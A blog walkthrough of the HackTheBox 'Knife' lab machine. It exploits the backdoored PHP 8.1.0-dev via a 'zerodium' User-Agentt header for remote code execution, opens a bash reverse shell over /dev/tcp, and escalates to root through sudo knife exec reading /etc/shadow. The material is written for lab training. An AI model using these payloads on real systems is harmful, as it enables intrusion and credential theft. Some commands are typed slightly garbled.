Skip to main content

HackTheBox Active Machine Walkthrough - Knife 🗡️

😍A knife is only as good as the one who wields it Hocho Knife #Easy #Linux Machine created by MrKN16H went live 22 May 2021 at 19:00:00 UTC.

😜Let's Start the journey.....

🔐Enumeration🔰


💉From Dmitry result one thing caught my and that is it an apache httpd server instead of regular nginx in all the HackTheBox Machine.


🔰We can find 2 Open Ports. In Port 80 We can see web page.

🔧As the latest release for apache httpd is 2.4.46 there could be a known vuln in 2.4.41 so I looked for it on web.

🗽Looking for it I stumbled around this Rapid7 Post https://www.rapid7.com/db/vulnerabilities/apache-httpd-cve-2020-1934/.

🔰But there is one concerning thing about this exploit you need to have mod_proxy_ftp
module running and have FTP backend which we know nothing of.

🖥️Web-Visting🛡️

🤔We can find this static page and nothing 
interesting in it. 


🔐Looking the source code found pen.js which looked interesting but after looking at it got nothing interesting.
Also added knife.htb in /etc/hosts to look for sub-domain but interestingly we found the default nginx page.


😜This was interesting.
But let's go back to your main page.
Looking for Vulnerabilites I found one interesting thing that php 8.1.x-dev was backdoored by some hackers.


😏You can find articles on it.
https://techbeacon.com/security/php-backdoored-git-hack-its-no-joke-so-don't-be-fool
https://www.welivesecurity.com/2021/03/30/backdoor-php-source-code-git-server-breach/
This is interesting as server is leaking the the version of PHP.


☢️Wappalyzer detected it.
Looking through bunch of article finally came up to this one where it showed how to exploit this backdoored by some troll hackers.
https://blog.csdn.net/zy15667076526/article/details/116447864

💉The website is originally in chinese but the google translate works fine.
So let's see if your PHP is dev version or not.


$ curl -i http://10.10.10.241

🔐Looking at X-Powered-By header we can say that indeed we are in luck and the version is PHP/8.1.0-dev.

💉Exploitation☢️

😏Reading throught the article found out that the backdoor can be accessed using User-Agent Header to execute the code.
We have to append the string zerodium which is also one of the leading zero day vuln finder firm.

🤔So let's try PoC for this exploit.


$ curl-i-s-k-H'User-Agentt:zerodiumvar_dump(2*3);'http://10.10.10.242/

💉Looks like we triggered the RCE let's get going and get try to excute system commands.

$ curl -i -s -k -H 'User-Agentt: zerodiumsystem("id");' http://10.10.10.242/

🔐Looks like the web server is running as james so one less step for us.
Let's get the REV-Shell.


$ curl -i -s -k -H $'User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");' http://10.10.10.242

🔐And boom we have the shell😜

nc -nvlp 4242

listening on [any] 4242 ...
connect to [] from (UNKNOWN) [10.10.10.242] 60452
bash: cannot set terminal process group (966): Inappropriate ioctl for device
bash: no job control in this shell
id
id
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:/$ 

🔰User Privilege 😜


1 - Log on to Home directory ~ cd home
2 - Then Go to James directory ~cd james
3 - Cat user.txt ~ ls   ~cat user.txt

🔐Root Access😜

🔰Now we have the stable shell now lets enumerate for PrivESC.

 ☢️Enumeration

james@knife:~$ cat ex.rb 
puts File.read('/etc/shadow')

😏Looking into user's home directory we can see an intresting ruby file which can read /etc/shadow but the catch is we dont have ruby on the box or atleast on the desired path and the desired name.
 

james@knife:~$ sudo -l
🛡️Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

👍User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Analysing the file /usr/bin/knife

james@knife:~$ file /usr/bin/knife 
/usr/bin/knife: symbolic link to /opt/chef-workstation/bin/knife

🔐It's symbolic link to another file /opt/chef-workstation/bin/knife.
looking at the directory /opt/chef-workstation we can see it a ruby installation.

james@knife:~$ ls /opt/chef-workstation/
bin  components  embedded  gem-version-manifest.json  gitbin  LICENSE  LICENSES  version-manifest.json  version-manifest.txt

☢️So basically on this box ruby commands can be run using /usr/bin/knife.
running /usr/bin/knife we get the big help menu.

james@knife:~$ sudo /usr/bin/knife

cd /tmp
echo 'puts File.read("/root/root.txt")' > rev.rb

😏Now let's run our ex.rb script

james@knife:~$ sudo /usr/bin/knife exec ex.rb


!!!!!!Rooted!!!!!



Comments

  1. sir i have a doubt while getting reverse shell as we are able to run commands we can get reverse shell by running payload but why did you run bash -c payload

    ReplyDelete
  2. Your style is so unique compared to other people I have read stuff from. Many thanks forposting when you have the opportunity, Guess I will just bookmark this site Cerberus FTP Server Enterprise

    ReplyDelete
  3. Hackthebox Active Machine Walkthrough - Knife 🗡️ >>>>> Download Now

    >>>>> Download Full

    Hackthebox Active Machine Walkthrough - Knife 🗡️ >>>>> Download LINK

    >>>>> Download Now

    Hackthebox Active Machine Walkthrough - Knife 🗡️ >>>>> Download Full

    >>>>> Download LINK 7g

    ReplyDelete
  4. aiye oyage pen aka watila thibila hambuna mehe thiyenawa senuli print house ake..

    ReplyDelete

Post a Comment

Popular posts from this blog

HackTheBox Walkthrough - Explore

🛡️Types of OS : Android 🌞Released on : 26th June 2021 ☢️Difficulty : Easy 👍Point: 20 💉Running nmap scan: nmap -vv — reason -Pn -A — osscan-guess — version-all -p- $IP -oN Explore.nmap nmap_scan.report 💉Running the nmap scan gives four ports port 2222 — ssh port 59777 — http port 5555 — adbshell {This can be found by looking on  google } adb_shell_port ☢️Running FFUF ffuf -u  http://explore.htb:59777/FUZZ  -w /usr/share/wordlists/dirb/big.txt -t 200 -c ffuf_scan 😃Lets visit the web-page 😜As you can see its showing forbidden. So lets try some other directory. 😃And we get the same results. Lets try to enumerate port 59777 which service uses this port on android. ☺️we get this article from  Daily-Swigg  which explain the vulnerability in ES File explorer which exposes user data on open port and anyone can read it. 😏Lets try running FFUF on  http://explore.htb:59777/sdcard/ ffuf_sdcard 😏Look like we found our first flag. So easy 😁The POC for the above vulnerability can be found o...

HackTheBox Walkthrough - Luanne

Luanne is a machine on the HackTheBox. Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests. It contains several challenges that are constantly updated. This article will show how to hack Luanne box and get user.txt and root.txt. 😜Background😜 Luanne is a retired vulnerable VM from Hack The Box. 🔰Information Gathering Let’s start with a masscan probe to establish the open ports in the host. # masscan -e tun0 -p1-65535,U:1-65535 10.10.10.218 --rate=1000 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-02 07:55:24 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 9001/tcp on 10.10.10.218 Discovered open port 22/tcp on 10.10.10.218 Discovered open port 80/tcp on 10.10.10.218 Open port 9001/tcp looks interesting. Let’s do one better with nmap scanning the discover...